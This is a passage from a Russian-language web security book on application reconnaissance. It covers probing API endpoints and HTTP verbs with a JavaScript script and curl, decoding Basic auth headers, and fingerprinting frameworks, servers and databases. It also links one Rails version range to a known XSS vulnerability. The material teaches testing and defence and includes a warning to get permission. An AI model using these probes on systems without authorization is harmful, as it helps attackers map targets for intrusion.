субдоменов тестируемого домена, переходите к другим методам разведки, но
если вам не повезет с более очевидными векторами атак, всегда можно вернуться
и поискать еще.

ГЛАВА 5

Анализ API

Следующий после навыка поиска субдоменов инструмент в наборе разведчика — это анализ конечных точек API. Какие домены использует приложение?
Например, если у приложения есть три домена (x.domain, y.domain и z.domain),
нужно отдавать отчет, что каждый из них может иметь собственные уникальные
конечные точки API.
В общем случае можно прибегнуть к методам, очень похожим на методы поиска субдоменов. Здесь хорошо работают брутфорс и перебор по словарю, но
интересные результаты можно получить вручную и путем логического анализа.
Поиск API — это второй шаг в изучении структуры веб-приложения. Он дает
информацию, позволяющую понять, зачем нужен открытый API. Как только
мы поймем, почему API открыт для доступа, скорее всего, мы увидим, как он
вписывается в приложение и каково его назначение.

Обнаружение конечной точки
Ранее мы говорили, что при определении структуры своих API большинство
современных корпоративных приложений следует определенной схеме. Обычно это форматы REST или SOAP. Сейчас все большую популярность набирает
формат REST, который считается идеальной структурой для API современных
веб-приложений.
Для анализа сетевых запросов можно использовать встроенные в браузер инструменты разработчика. Если мы увидим несколько вот таких HTTP-запросов:
GET api.mega-bank.com/users/1234
GET api.mega-bank.com/users/1234/payments
POST api.mega-bank.com/users/1234/payments,

114  Глава 5. Анализ API

можно с уверенностью предположить, что это REST API. Имейте в виду, что
каждая конечная точка определяет конкретный ресурс, а не функцию.
Кроме того, мы можем предположить, что вложенные ресурсы payments принадлежат пользователю 1234, что указывает на API с иерархической структурой. Это
еще один характерный признак проектирования в соответствии с принципами
REST. Дополнительные признаки мы найдем, посмотрев на файлы cookie, отправляемые с каждым запросом, и на заголовки запросов:
POST /users/1234/payments HTTP/1.1
Host: api.mega-bank.com
Authorization: Bearer abc21323
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/1.0 (KHTML, like Gecko)

Отправляемый вместе с каждым запросом токен — еще один признак RESTful
API. Предполагается, что такие API не сохраняют состояния, то есть сервер не
следит за клиентами, от которых получает запросы.
Как только станет понятно, что мы действительно имеем дело с REST API, можно
выдвигать гипотезы относительно доступных конечных точек.
В табл. 5.1 перечислены методы HTTP-запросов, поддерживаемые архитектурой
REST.

Таблица 5.1. HTTP-запросы, которые поддерживаются в REST-архитектуре
REST HTTP-запросы

Применение

POST

Создание

GET

Чтение

PUT

Обновление/Замены

PATCH

Обновление/Редактирование

DELETE

Удаление

Теперь можно посмотреть, какие запросы мы видим в консоли браузера и каким
ресурсам они адресованы. А также проверить, что получится, если послать этим
ресурсам различные запросы.
В спецификации HTTP есть метод, позволяющий узнать, какие запросы поддерживаются сервером. Он называется OPTIONS, и именно с него нужно начинать

Обнаружение конечной точки  115

разведку. Мы легко создадим нужный запрос с помощью служебной программы
curl:
curl -i -X OPTIONS https://api.mega-bank.com/users/1234

Если запрос OPTIONS выполнен, мы получим следующий ответ:
200 OK
Allow: HEAD, GET, PUT, DELETE, OPTIONS

Но по большому счету такой запрос даст результаты только в случае API, предназначенных для общего пользования. Это самый простой метод, которым не
стоит пренебрегать, но для большинства приложений, представляющих интерес,
потребуются более надежные способы разведки. На запрос OPTIONS отвечают
очень немногие корпоративные приложения.
Посмотрим на альтернативный метод, который с большей вероятностью даст
информацию о поддерживаемых сервером типах запроса. Вот первый вызов
API, который мы увидели в браузере:
GET api.mega-bank.com/users/1234

Его можно дополнить:
GET api.mega-bank.com/users/1234
POST api.mega-bank.com/users/1234
PUT api.mega-bank.com/users/1234
PATCH api.mega-bank.com/users/1234
DELETE api.mega-bank.com/users/1234

На базе этого списка можно написать сценарий, проверяющий возможность
таких запросов.
Брутфорс HTTP-запросов с целью поиска конечных точек API
может привести к удалению или изменению данных приложения.
Поэтому прежде чем выполнять подобные проверки, получите
разрешение от владельца приложения.

Цель сценария очень проста: используя известную конечную точку (мы знаем,
что она принимает HTTP-запрос хотя бы одного типа), мы проверяем, срабатывают ли другие HTTP-запросы. После проверки всех вариантов записываем
результаты и выводим их в консоль:

116  Глава 5. Анализ API

/*
* Посылаем различные http-запросы к адресу URL
* (соответствующему конечной точке API),
* чтобы определить, какие из них соответствуют
* данной конечной точке.
*/
const discoverHTTPVerbs = function(url) {
const verbs = ['POST', 'GET', 'PUT', 'PATCH', 'DELETE'];
const promises = [];
verbs.forEach((verb) => {
const promise = new Promise((resolve, reject) => {
const http = new XMLHttpRequest();
http.open(verb, url, true)
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
/*
* Если ответ получен, выполняем промис и включаем
* в результат код состояния.
*/
http.onreadystatechange = function() {
if (http.readyState === 4) {
return resolve({ verb: verb, status: http.status });
}
}
/*
* Если за время ожидания ответ на запрос не поступил,
* помечаем его как неуспешный. Время ожидания выбирается
* в зависимости от среднего времени отклика.
*/
setTimeout(() => {
return resolve({ verb: verb, status: -1 });
}, 1000);
// инициируем http-запрос
http.send({});
});
// добавляем объект promise в массив promises
promises.push(promise);
});
/*
* После перебора всех методов выводим результаты
* и соответствующие им промисы в консоль.

Обнаружение конечной точки  117

*/
Promise.all(promises).then(function(values) {
console.log(values);
});

}

С технической точки зрения работа сценария тоже выглядит несложно. Конечные точки возвращают какое-то сообщение вместе с кодом состояния. При этом
нам неважно, что это за код, главное — его получить.
Мы делаем несколько HTTP-запросов к API, по одному на каждый HTTP-метод.
Большинство серверов не отвечает на запросы, недопустимые на конечной точке.
На этот случай, если ответ на запрос не поступает в течение 1 секунды, возвращается значение –1. В общем случае для ответа API достаточно 1 секунды (или
1000 мс). Вы можете увеличить или уменьшить это значение в зависимости от
собственных нужд.
После выполнения всех промисов в консоль выводится информация о допустимых в конкретной конечной точке HTTP-методах.

Механизмы аутентификации
Угадать, в какой форме принимает данные конечная точка API, намного сложнее,
чем просто удостовериться, что эта конечная точка существует.
Проще всего это сделать путем анализа структуры известных запросов, отправляемых через браузер. После этого делается логическое предположение
о форме данных, которое проверяется вручную. Изучение структуры конечной точки API можно автоматизировать, но попытки такой автоматизации,
не связанные с анализом существующих запросов, легко обнаруживаются
и регистрируются.
Обычно лучше всего начинать с конечных точек, присутствующих почти у каждого приложения: вход в систему, регистрация в приложении, сброс пароля и т. п.
Такие конечные точки часто принимают данные в одинаковой форме, поскольку
аутентификация обычно проектируется по стандартной схеме.
У каждого приложения с общедоступным пользовательским интерфейсом
должна быть страница входа. Но способы аутентификации могут быть разными. Многие современные приложения отправляют вместе с каждым запросом
токены аутентификации. Это означает, что если мы сможем путем обратной
разработки определить используемый тип аутентификации и понять, как токен

118  Глава 5. Анализ API

прикрепляется к запросам, будет проще анализировать другие конечные точки
API, которые полагаются на токен прошедшего проверку пользователя.
В настоящее время используется несколько схем аутентификации, наиболее
распространенные из которых перечислены в табл. 5.2.

Таблица 5.2. Основные схемы аутентификации
Схема аутентификации

Детали реализации

Сильные стороны

Слабые стороны

Базовая
(Basic)

На каждый запрос отправляются
имя пользователя и пароль

Поддерживается всеми
основными браузерами

Сеанс не завершается;
легко перехватить

Обзорная
(Digest)

На каждый запрос отправляется хешированное имя

Сложнее перехватить;
сервер отклоняет просроченные токены

Устойчивость ко взлому зависит от алгоритма хеширования

Токенизированные
разрешения могут передаваться из одного
приложения в другое
с целью интеграции

Риск фишинга;
скомпрометированный
центральный сервер
компрометирует все
связанные с ним приложения

пользователя:realm:пароль

Открытая
(OAuth)

Авторизация на базе токена на
предъявителя; допустим вход
с другого сайта, например с сайта Amazon вход в Twitch

Если войти в систему на сайте https://www.mega-bank.com и проанализировать
ответ Сети, можно увидеть примерно такие строки:
GET /homepage
HOST mega-bank.com
Authorization: Basic am9lOjEyMzQ=
Content Type: application/json

С первого взгляда понятно, что это базовая аутентификация HTTP, потому что
здесь есть заголовок авторизации Basic. Строка am9lOjEyMzQ = — просто имя
пользователя:пароль в кодировке base64. Это наиболее распространенный способ форматирования комбинации имени пользователя и пароля для доставки
по HTTP.
Для преобразования строк в base64 и обратно в JavaScript существуют функции
btoa(str) и atob(base64). Пропустив строку в кодировке base64 через функцию
atob, мы увидим отправленные по сети имя пользователя и пароль:

Обнаружение конечной точки  119

/*
* Расшифровка строки, преобразованной в формат base64.
* Результат = joe:1234
*/
atob('am9lOjEyMzQ=');

Как видите, этот механизм крайне небезопасен. Поэтому базовая проверка подлинности обычно используется только в веб-приложениях, которые применяют
шифрование трафика по протоколам SSL/TLS. Это позволяет избежать перехвата учетных данных «в воздухе»: например, в не заслуживающей доверия
точке доступа Wi-Fi в условном торговом центре.
Код входа в систему/перенаправления на домашнюю страницу показывает,
что наши запросы действительно сопровождаются проверкой подлинности
и происходит это в строке Authorization: Basic am9lOjEyMzQ=. Поэтому
в ситуации, когда конечная точка не возвращает ничего интересного, первым
делом нужно попробовать прикрепить заголовок Authorization: и посмотреть, изменится ли что-нибудь, когда запрос делает аутентифицированный
пользователь.

Разновидности конечных точек
После обнаружения субдоменов и связанных с ними API нужно определить,
какие взаимодействия разрешены для каждого ресурса, и добавить результаты
этих изысканий на карту веб-приложения. После этого можно перейти к вопросу,
данные какого типа ожидает каждый из перечисленных API.

Основные разновидности
Иногда ответ на этот вопрос лежит на поверхности. Многие API ожидают
данных в определенной, стандартной форме. Например, конечная точка авторизации, настроенная как часть потока OAuth 2.0, может ожидать следующих
данных:
{

}

"response_type": code,
"client_id": id,
"scope": [scopes],
"state": state,
"redirect_uri": uri

120  Глава 5. Анализ API

Схема авторизации OAuth 2.0 широко применяемая и общедоступная, поэтому
данные, которые принимает конечная точка авторизации OAuth 2.0, часто можно
определить логически или проверить в документации. Соглашения об именах
и список областей видимости могут немного отличаться в зависимости от реализации конечной точки, но общая форма принимаемых данных должна сохраняться.
Пример конечной точки авторизации OAuth 2.0 можно найти в общедоступной
документации мессенджера Discord. Обращение к конечной точке там предлагается структурировать следующим образом:
https://discordapp.com/api/oauth2/authorize?response_type=code&client_\
id=157730590492196864&scope=identify%20guilds.\
join&state=15773059ghq9183habn&redirect_uri=https%3A%2F%2Fnicememe.\
website&prompt=consent

Параметры response_type, client_id, scope, state и redirect_uri — часть официальной спецификации.
Открытая документация Facebook для протокола OAuth 2.0 очень похожа. В ней
для той же самой функциональности предлагается следующий запрос:
GET https://graph.facebook.com/v4.0/oauth/access_token?
client_id={app-id}
&redirect_uri={redirect-uri}
&client_secret={app-secret}
&code={code-parameter}

Таким образом, в случае общего варианта конечной точки несложно определить,
в какой форме нужно отправлять HTTP-запросы к API. Но следует помнить,
что, хотя многие API реализуют общие спецификации, такие как OAuth, для
внутренних API-интерфейсов, отвечающих за запуск логики приложения, зачастую будет использоваться что-то другое.

Специализированные разновидности
Форму данных для специализированных конечных точек определить гораздо
сложнее. Для этого, возможно, потребуется информация, полученная различными методами разведки, а также постепенное изучение конечной точки методом
проб и ошибок.
Плохо защищенные приложения иногда дают подсказку в сообщении об ошибке.
Например, представим, что мы отправили запрос POST https://www.mega-bank.
com/users/config с вот таким телом:

Разновидности конечных точек  121

{

"user_id": 12345,
"privacy": {
"publicProfile": true
}

}

Скорее всего, ответ будет с кодом состояния 401 (ошибка авторизации) или
400 (ошибка синтаксиса). Если же код состояния придет с сообщением типа
auth_token not supplied, нам указывают на отсутствующий параметр.
При отправке корректного запроса с параметром auth_token сообщение об ошибке может содержать подсказку: например, publicProfile only accepts "auth"
and "noAuth" as params (параметр publicProfile принимает только значения
"auth" и "noAuth").
Бинго!
Но более защищенные приложения, скорее всего, отправят общее сообщение об
ошибке, и придется переходить к другим методам.
При наличии привилегированного доступа можно попробовать выполнить этот
же запрос к своей учетной записи с помощью пользовательского интерфейса,
чтобы определить, как выглядит исходящая форма. Используйте для этого
вкладку Network «Инструментов разработчика» в браузере или инструмент
мониторинга Сети, такой как Burp.
Если вы знаете, какую переменную должен содержать запрос, но у вас нет ее
значения, можно попробовать использовать брутфорс, отправляя различные
варианты запроса, пока один из них не сработает. Очевидно, что вручную такой
метод займет много времени, поэтому нужен сценарий для ускорения процесса.
Чем больше требований к переменной вы узнаете, тем лучше. Прекрасно, если
удастся выяснить, что это параметр auth_token, состоящий из 12 символов. Еще
лучше, если вы узнаете, что он всегда шестнадцатеричный. Чем больше требований вы обнаружите и примените, тем больше шансов получить успешную
комбинацию методом брутфорса.
Список возможных комбинаций для поля называется пространством решений.
Нам нужно максимально уменьшить пространство решений, чтобы сократить
пространства поиска.
Искать можно не только допустимые, но и недопустимые решения. Это тоже
уменьшает пространство решений и даже может выявить ошибки в коде приложения.

122  Глава 5. Анализ API

Итоги
После поиска и записи субдоменов, обеспечивающих работу приложения, следующим шагом будет поиск размещенных на этих субдоменах конечных точек
API, чтобы позже попытаться определить, зачем они нужны. Каким бы простым
ни выглядел этот шаг, он имеет решающее значение. Без этой предварительной
подготовки вы можете потратить время на поиск дыр в хорошо защищенных
конечных точках при наличии более уязвимых конечных точек с аналогичной
функциональностью или данными. Кроме того, поиск конечных точек API
позволяет понять его назначение, если вы еще не в курсе, каким способом он
применяется.
После того как вы нашли и записали конечные точки API, следующий логический шаг — определить, в каком виде принимает данные каждая из них. Комбинируя логические предположения, автоматизацию и анализ общих архетипов
конечных точек, как мы делали в этой главе, вы сможете узнать, как выглядят
данные, ожидаемые этими конечными точками, и данные, которые отправляются
в ответ. Это позволяет понять, как функционирует приложение, то есть сделать
первый важный шаг на пути к его взлому или защите.

ГЛАВА 6

Обнаружение сторонних
зависимостей

Большинство современных веб-приложений представляет собой комбинацию
внутреннего и внешнего кода, объединенного с помощью какого-либо метода
интеграции. Внешние фрагменты приложения могут быть чьей-либо собственностью (в этом случае интеграция осуществляется в рамках определенной модели
лицензирования) или бесплатными (как правило, из сообществ разработчиков
ПО с открытым исходным кодом). Их использование не всегда безопасно,
ведь зачастую интегрированные фрагменты не проверяются так же строго, как
и внутренний код.
В процессе предварительного сбора данных вы, скорее всего, столкнетесь с множеством сторонних фрагментов, и крайне желательно внимательно изучить как
сам код, так и метод его интеграции. Часто это может подсказать вектор атаки.
Иногда уязвимость стороннего кода хорошо известна, и тогда вам, возможно,
даже не придется готовить атаку самостоятельно. Ее можно будет просто скопировать из базы данных общеизвестных уязвимостей (Common Vulnerabilities
and Exposures, CVE).

Клиентские фреймворки
Часто вместо самостоятельного построения сложной инфраструктуры пользовательского интерфейса разработчики берут хорошо поддерживаемые и тщательно протестированные готовые решения. Это может быть библиотека SPA
для обработки сложных состояний, фреймворк, добавляющий недостающую

124  Глава 6. Обнаружение сторонних зависимостей

функциональность в JavaScript (Lodash, JQuery) или фреймворк CSS для улучшения внешнего вида сайта (Bootstrap, Bulma).
Все три вида фреймворков легко распознаются. И если вы сможете определить
номер версии, в Сети часто получится обнаружить сведения о существующих
уязвимостях ReDoS, Prototype Pollution и XSS. В частности, это касается старых
версий, оставленных без обновлений.

Фреймворки для одностраничных приложений
Вот крупнейшие фреймворки для SPA на 2019 год (в произвольном порядке):
EmberJS (LinkedIn, Netflix);
AngularJS (Google);
React (Facebook);
VueJS (Adobe, GitLab).
Каждый из них имеет особый синтаксис и порядок управления элементами
DOM и взаимодействия разработчика с платформой. Не все фреймворки легко
обнаруживаются. Иногда требуется процедура идентификации (fingerprinting).
Узнав версию фреймворка, обязательно запишите ее.

EmberJS
Обнаружить фреймворк EmberJS довольно легко, потому что при начальной
загрузке он устанавливает глобальную переменную Ember, видимую в консоли
браузера (рис. 6.1).

Рис. 6.1. Обнаружение фреймворка EmberJS

Клиентские фреймворки  125

Кроме того, ко всем элементам DOM этот фреймворк добавляет ember-id для
внутреннего использования. Это означает, что если открыть дерево DOM любой
веб-страницы на вкладке Elements «Инструментов разработчика», вы увидите
блоки div с id = ember1, id = ember2, id = ember3 и т. д. Каждый из них заключен в родительский элемент class = "ember-application", в свою очередь
входящий в элемент body.
Определить запущенную версию фреймворка Ember легко. Просто посмотрите
значение константы, прикрепленной к глобальному объекту Ember:
// 3.1.0
console.log(Ember.VERSION);

AngularJS
Более старые версии фреймворка Angular дают глобальный объект, аналогичный объекту EmberJS. Он называется angular, а узнать версию помогает
свойство angular.version. В версии AngularJS 4.0+ этого глобального объекта
уже нет, что немного усложняет ситуацию. Вы можете определить, запущено
ли приложение AngularJS 4.0+, проверив через консоль существование глобального объекта ng.
Для определения версии придется постараться чуть больше. Для начала возьмите все корневые элементы приложения AngularJS и проверьте атрибуты первого
из них. У него должен быть атрибут ng-version, который и покажет версию
исследуемого приложения:
// возвращает массив корневых элементов
const elements = getAllAngularRootElements();
const version = elements[0].attributes['ng-version'];
// ng-version="6.1.2"
console.log(version);

React
Библиотеку с открытым исходным кодом для разработки пользовательских
интерфейсов React можно идентифицировать по глобальному объекту React,
а узнать версию позволяет соответствующая константа:
const version = React.version;
// 0.13.3
console.log(version);

126  Глава 6. Обнаружение сторонних зависимостей

Кроме того, в сценарии можно заметить теги text/jsx, ссылающиеся на файлы
специального формата, в которых одновременно содержится JavaScript, CSS
и HTML. Они однозначно указывают на то, что вы работаете с приложением
React. Знание того, что все части компонентов находятся в одном файле .jsx,
может значительно упростить их исследование.

VueJS
Фреймворк VueJS тоже предоставляет глобальный объект Vue и константу для
определения версии:
const version = Vue.version;
// 2.6.10
console.log(version);

Если вы не можете проверить элементы приложения VueJS, скорее всего, оно
настроено игнорировать «Инструменты разработчика». Это делается с помощью
свойства глобального объекта Vue. Если установить для него значение true, проверка компонентов VueJS в консоли браузера снова станет доступной:
// Теперь компоненты Vue можно проверять
Vue.config.devtools = true;

Библиотеки JavaScript
Существует множество вспомогательных библиотек JavaScript. Глобальные
объекты некоторых из них открыты, а другие никак себя не проявляют. Многие
библиотеки JavaScript используют глобальные объекты верхнего уровня для
пространства имен своих функций. Такие библиотеки очень легко обнаружить
и просмотреть (рис. 6.2).

Рис. 6.2. Глобальные объекты библиотеки JavaScript

Клиентские фреймворки  127

Библиотеки Underscore и Lodash открывают глобальные объекты с помощью
символа $, а JQuery использует пространство имен $, но за пределами основных
библиотек лучше выполнить запрос, чтобы увидеть все внешние сценарии, загруженные на страницу.
Для быстрого поиска всех импортированных в документ сценариев применяется
метод querySelectorAll:
/*
* Функция обхода DOM используется для быстрой генерации
* списка тегов , импортированных на текущую страницу
*/
const getScripts = function() {
/*
* Селектор может начинаться с "." при поиске класса CSS,
* с "#" при поиске атрибута `id` или не иметь префикса,
* если ищется HTML-элемент.
*
* Сейчас 'script' ищет все экземпляры тега .
*/
const scripts = document.querySelectorAll('script');
/*
* Просматриваем все элементы ``, проверяя,
* содержат ли они непустой атрибут src.
*/
scripts.forEach((script) => {
if (script.src) {
console.log(`i: ${script.src}`);
}
});

};

Вызов этой функции даст вот такой результат:
getScripts();
VM183:5
VM183:5
VM183:5
VM183:5
VM183:5
VM183:5

i:
i:
i:
i:
i:
i:

https://www.google-analytics.com/analytics.js
https://www.googletagmanager.com/gtag/js?id=UA-1234
https://js.stripe.com/v3/
https://code.jquery.com/jquery-3.4.1.min.js
https://cdnjs.cloudflare.com/ajax/libs/d3/5.9.7/d3.min.js
/assets/main.js

После этого остается по очереди изучить все сценарии, чтобы определить порядок, конфигурации и т. п.

128  Глава 6. Обнаружение сторонних зависимостей

Библиотеки CSS
Для поиска библиотек CSS алгоритм обнаружения сценариев слегка изменяется:
/*
* Используем встроенную в браузер функцию обхода DOM
* для быстрого сбора всех элементов ``, содержащих
* атрибут `rel` со значением `stylesheet`.
*/
const getStyles = function() {
const scripts = document.querySelectorAll('link');
/*
* По очереди просматриваем все сценарии, проверяя наличие у
* элемента `link` атрибута `rel` со значением `stylesheet`.
*
* Link — элемент, чаще всего используемый для загрузки таблиц
* стилей CSS, но также для предварительной загрузки, иконок
* или поиска
*/
scripts.forEach((link) => {
if (link.rel === 'stylesheet') {
console.log(`i: ${link.getAttribute('href')}`);
}
});

};

Эта функция даст список импортированных файлов CSS:
getStyles();
VM213:5
VM213:5
VM213:5
VM213:5
VM213:5

i:
i:
i:
i:
i:

/assets/jquery-ui.css
/assets/boostrap.css
/assets/main.css
/assets/components.css
/assets/reset.css

Фреймворки на стороне сервера
Определить, какой софт работает на стороне клиента (в браузере), намного проще, чем узнать, что работает на сервере. В большинстве случаев необходимый
для клиента код загружается и сохраняется в памяти, доступной через DOM.
Некоторые сценарии могут загружаться сразу или асинхронно после загрузки
страницы, но доступ к ним осуществляется только при выполнении определенных условий.

Фреймворки на стороне сервера  129

Определить зависимости на стороне сервера намного сложнее, но зачастую
возможно и это. Иногда остаются отчетливые следы в HTTP-трафике (заголовки, необязательные поля), иногда — незащищенные конечные точки. Для
обнаружения серверных фреймворков требуется хорошо в них разбираться,
но, к счастью, как и в случае с клиентскими фреймворками, чаще всего используется небольшой набор пакетов. И если вы запомните, как распознать самые
популярные из них, это поможет во многих случаях.

Заголовки
Иногда из-за небезопасных настроек серверного фреймворка заголовки содержат
слишком много данных. Например, заголовок X-Powered-By открыто сообщает
имя и версию веб-сервера. Причем в более старых версиях Microsoft IIS эта настройка включена по умолчанию.
Сделайте любой запрос к одному из таких уязвимых веб-серверов, и в ответе
увидите такое значение:
X-Powered-By: ASP.NET

Если повезет, веб-сервер может даже предоставить дополнительную информацию:
Server: Microsoft-IIS/4.5
X-AspNet-Version: 4.0.25

Умные администраторы серверов отключают эти заголовки, а дальновидные
группы разработчиков удаляют эти настройки из конфигурации по умолчанию.
Тем не менее до сих пор существует множество сайтов, показывающих эти заголовки кому угодно.

Стандартные сообщения об ошибке и страницы 404
Некоторые популярные фреймворки не позволяют легко определять номер используемой версии. В случае платформы с открытым исходным кодом, например Ruby on Rails, версию можно определить с помощью цифрового отпечатка.
Ruby on Rails — один из крупнейших фреймворков с открытым исходным кодом. В репозитории GitHub доступны все существующие версии. Изменения,
вносившиеся в каждую основную версию, позволяют определить, какая из них
используется в конкретном случае (рис. 6.3).

130  Глава 6. Обнаружение сторонних зависимостей

Рис. 6.3. Получение цифрового отпечатка Ruby on Rails
Сталкивались ли вы с ситуацией, когда при посещении веб-приложения появлялась стандартная страница 404 или нестандартное сообщение об ошибке? Большинство веб-серверов предоставляют сообщения об ошибках и страницы 404,
которые показываются пользователям до тех пор, пока владелец веб-приложения
не заменит их собственным вариантом.
Они могут дать довольно много информации о настройках сервера. Например,
не только о серверном ПО, но и о его версии или диапазоне.
Например, у полнофункциональной платформы веб-приложений Ruby on
Rails есть страница 404 в виде HTML-страницы с полем The page you were
looking for doesn’t exist («Страницы, которую вы искали, не существует»)
(рис. 6.4).

Фреймворки на стороне сервера  131

Рис. 6.4. Страница 404, которую Ruby on Rails показывает по умолчанию
Код HTML этой страницы находится в репозитории GitHub для Ruby on Rails
(https://github.com/rails/rails) по ссылке rails/railties/lib/rails/generators/rails/app/
templates/public/404.html. Клонируем репозиторий командой git clone https://
github.com/rails/rails и проанализируем изменения, вносившиеся в эту
страницу, воспользовавшись командой git log | grep 404. Это даст интересные
фрагменты информации, например:
Апрель 20, 2017 — CSS-селекторы ограничили только элементами, принадлежащими к конкретному пространству имен.
Ноябрь 21, 2013 — Символ U+00A0 заменен обычным пробелом.
Апрель 5, 2012 — Удален атрибут type, который в версии HTML5 стал
необязательным.
Теперь, если при тестировании приложения вы наткнетесь на страницу 404,
можно выполнить поиск атрибута type = "text/css". Если поиск окажется
успешным, значит, вы имеете дело с версией Ruby on Rails, появившейся до
5 апреля 2012 года.
Обнаружение символа U+00A0 означает, что перед вами версия, появившаяся
до 21 ноября 2013 года.
Наконец, можно поискать CSS-селекторы, ограниченные конкретным пространством имен, .rails-default-error-page. Если их нет, значит, вы имеете
дело с версией, выпущенной до 20 апреля 2017 года.
Предположим, на странице 404 тестируемого приложения уже нет атрибута
type, неразрывные пробелы заменены обычными, но CSS-селекторы еще не
ограничены пространством имен. Теперь на сайте системы управления пакетами
для языка Ruby https://rubygems.org/gems/rails/versions можно посмотреть, какие
версии выходили в этом временном диапазоне.
В указанный период попадают версии Ruby on Rails от 3.2.16 до 4.2.8. При
этом известно, что в версиях с 3.2.x до 4.2.7 была хорошо документированная

132  Глава 6. Обнаружение сторонних зависимостей

XSS-уязвимость, фигурирующая в базе уязвимостей под идентификатором
CVE-2016-6316.
Эта уязвимость позволяет внедрить HTML-код, заполненный кавычками, в любое поле базы данных, считываемое шаблоном Action View в клиенте Ruby on
Rails. Вставленный в этот HTML код JavaScript будет выполняться на любом
устройстве, на котором работает приложение на базе Ruby on Rails, в процессе
работы запустившее шаблон Action View.
Это лишь один пример того, как изучение зависимостей и версий веб-приложения
облегчает поиск уязвимостей. Эксплойты уязвимостей этого типа мы рассмотрим в следующей части. Разумеется, описанные методы применимы не только
к Ruby on Rails, но и к любым сторонним зависимостям. Главное, чтобы вы могли
определить, что это за софт и какая его версия интегрирована в приложение.

Базы данных
Большинство веб-приложений для хранения состояний пользователей, объектов и других данных использует серверные базы (например, MySQL или
MongoDB). Собственные БД разработчики веб-приложений пишут редко,
поскольку эффективное хранение и надежное извлечение больших объемов
данных — непростая задача.
Если сообщения об ошибках отправляются клиенту напрямую, для определения
базы данных можно воспользоваться методом, описанным в предыдущем разделе. Но такая удача выпадает нечасто, поэтому необходимы альтернативные
пути поиска информации.
Например, можно воспользоваться сканированием первичного ключа. Так называют ключ в таблице (SQL) или документе (NoSQL), который автоматически
генерируется при создании объекта и используется для быстрого поиска по БД.
Метод генерации этих ключей свой для каждой базы, а иногда и настраивается под особые запросы (например, более короткие ключи для использования
в URL-адресах). Если вы знаете, как по умолчанию генерируются первичные
ключи для нескольких основных баз данных, вы, скорее всего, сможете определить тип базы данных после анализа достаточного количества сетевых запросов.
Конечно, если метод по умолчанию не был перезаписан.
Рассмотрим базу данных MongoDB, которая считается классическим примером NoSQL-системы. По умолчанию в ней для каждого созданного документа
генерируется поле _id. Для этого применяется алгоритм хеширования с низким уровнем коллизий, который всегда дает 12-байтовую шестнадцатеричную
строку.

Фреймворки на стороне сервера  133

Этот алгоритм описан в открытой документации (https://oreil.ly/UdX_v).
Класс, который используется для создания этих идентификаторов, называется ObjectId.
Каждый идентификатор состоит ровно из 12 байтов.
Первые 4 байта — секунды, прошедшие с начала эпохи Unix (временная
метка).
Дальше идет 5-байтовое случайное число, уникальное для машины
и процесса.
Последние 3 байта — счетчик, начинающийся со случайного значения.
Вот пример идентификатора ObjectId: 507f1f77bcf86cd799439011.
В спецификации ObjectId также перечислены вспомогательные методы, например getTimestamp(), но поскольку мы собираемся анализировать трафик
и данные на стороне клиента, а не на сервере, скорее всего, они будут нам недоступны. Но мы знаем структуру первичных ключей MongoDB, поэтому будем
просматривать HTTP-трафик и анализировать встречающиеся 12-байтовые
строки похожего внешнего вида.
Часто это просто, и первичный ключ можно обнаружить в форме запроса, например:
GET users/:id

Где :id — это первичный ключ.
PUT users, body = { id: id }

Где :id — снова первичный ключ.
GET users?id=id

Где :id — первичный ключ, но в виде параметра запроса.
Иногда идентификаторы встречаются там, где вы меньше всего ожидаете их
увидеть: например, в метаданных или в ответе, касающемся объекта user:
{

}

_id: '507f1f77bcf86cd799439011',
username: 'joe123',
email: 'joe123@my-email.com',
role: 'moderator',
biography: '...'

134  Глава 6. Обнаружение сторонних зависимостей

Где бы вы ни обнаружили первичный ключ, если вы можете определить, что
это действительно он, можно попытаться найти совпадение с алгоритмами
генерации ключей различных БД. Часто этого достаточно, чтобы определить,
какую базу данных использует веб-приложение. Иногда может потребоваться
комбинация с другим методом (например, с принудительным отображением сообщений об ошибках). Обычно это нужно, когда несколько БД используют один
и тот же алгоритм генерации первичных ключей (например, последовательные
целые числа или другие простые шаблоны).

Итоги
Долгие годы атакам подвергался в основном собственный код приложений. Но
ситуация изменилась, так как современные веб-приложения зависят от стороннего кода. Понимание этих внешних систем позволяет увидеть в безопасности
приложения дыры, которыми можно воспользоваться. Зачастую владельцу
приложения сложно обнаружить эти уязвимости.
Понимание того, какие бывают сторонние зависимости и каким образом они
используются в вашей собственной базе кода, позволяет снизить риск, обусловленный некачественными методами интеграции или интеграцией с менее
безопасными библиотеками (при наличии более надежных вариантов).
Количество кода, выполняемого большинством современных приложений, делает интеграцию практически обязательной. Создание веб-приложения с нуля
требует слишком больших усилий. Поэтому понимание методов поиска и оценки
зависимостей в приложении становится обязательным навыком для всех, кто
работает в индустрии безопасности.

ГЛАВА 7

Поиск слабых мест в архитектуре
приложения

До этого момента мы обсуждали методы идентификации компонентов вебприложений и методы определения вида API, а также изучали, каким образом
веб-приложения взаимодействуют с браузером. Эти методы ценны сами по себе,
но правильно объединенная информация, добытая с их помощью, полезна еще
больше.
В идеале предполагается, что вы документируете все данные, собираемые во
время разведки. Надлежащее документирование — неотъемлемая часть этого
процесса, поскольку бывают настолько большие веб-приложения, что изучение
всех их функциональных возможностей может занять месяцы. Объем документации в конечном итоге зависит только от вас, и ценность собранных данных
определяется не столько их объемом, сколько правильной расстановкой приоритетов, хотя, конечно, избыток данных все равно лучше, чем их отсутствие.
В идеале для каждого тестируемого приложения нужно получить систематизированный набор заметок. Они должны охватывать следующие аспекты:
технологии, используемые в веб-приложении;
список конечных точек API по типу HTTP-запросов;
список форм конечных точек API (где это возможно);
функциональность веб-приложения (например, комментарии, авторизация, уведомления и т. п.);
домены, используемые веб-приложением;
обнаруженные конфигурации (например, политика безопасности контента CSP);
системы аутентификации/управления сеансом.

136  Глава 7. Поиск слабых мест в архитектуре приложения

Составленный таким способом список можно использовать для выбора приоритетного вектора атаки или для поиска уязвимостей.
Вопреки распространенному мнению, причина большинства уязвимостей вебприложения кроется в неправильной архитектуре, а не в плохо прописанных
методах. Несомненно, метод, записывающий пользовательский HTML-код
непосредственно в DOM, позволяет при отсутствии надлежащей очистки загрузить сценарий и запустить его на машине другого пользователя (XSS-атака).
Тем не менее бывают приложения с десятком XSS-уязвимостей, в то время как
другие приложения аналогичного размера в той же отрасли их почти не имеют.
В конечном счете, архитектура приложения и его модулей/зависимостей — это
фантастические маркеры слабых мест, в которых могут возникать дыры в безо­
пасности.

